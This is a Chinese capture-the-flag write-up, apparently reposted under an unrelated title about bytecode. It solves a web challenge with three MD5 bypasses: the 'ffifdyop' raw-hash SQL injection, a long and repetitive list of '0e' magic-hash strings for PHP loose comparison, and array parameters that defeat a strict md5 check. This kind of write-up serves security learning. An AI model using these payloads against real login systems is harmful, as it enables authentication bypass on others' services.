從位元組碼看String
阿新 • • 發佈:2021-10-21
這題看題目也知道,主要考察的是md5有關繞過
首先,開啟題目有一個輸入框
隨便輸入一些東西,並沒有發現什麼,於是用bp抓包看看,得到一串暗示
可以使用ffifdyop繞過,因為 ffifdyop 這個字串被 md5 雜湊了之後會變成 276f722736c95d99e921722cf9ed621c,這個字串前幾位剛好是 ‘ or ‘6,
而 Mysql 剛好又會吧 hex 轉成 ascii 解釋,因此拼接之後的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’ 等價於一個永真式萬能密碼,從而繞過md5函式
這樣又得到了一個頁面
檢視原始碼,得到第二層提示
考察的是md5弱型別繞過,常見的md5弱型別有(只要md5後以0e開頭,就被認為相等)
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
在框中輸入url
?a=QNKCDZO&b=s878926199a
得到下一層提示:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
MD5強碰撞,此時如果傳入的兩個引數不是字串,而是陣列,md5()函式無法解出其數值,而且不會報錯,就會得到===強比較的值相等
所以可以在hackbar中輸入param1[]=1¶m2[]=2
這樣就得到了flag
本文來自部落格園,作者:Athena-ydy,轉載請註明原文連結:https://www.cnblogs.com/Athena-ydy/p/15468141.html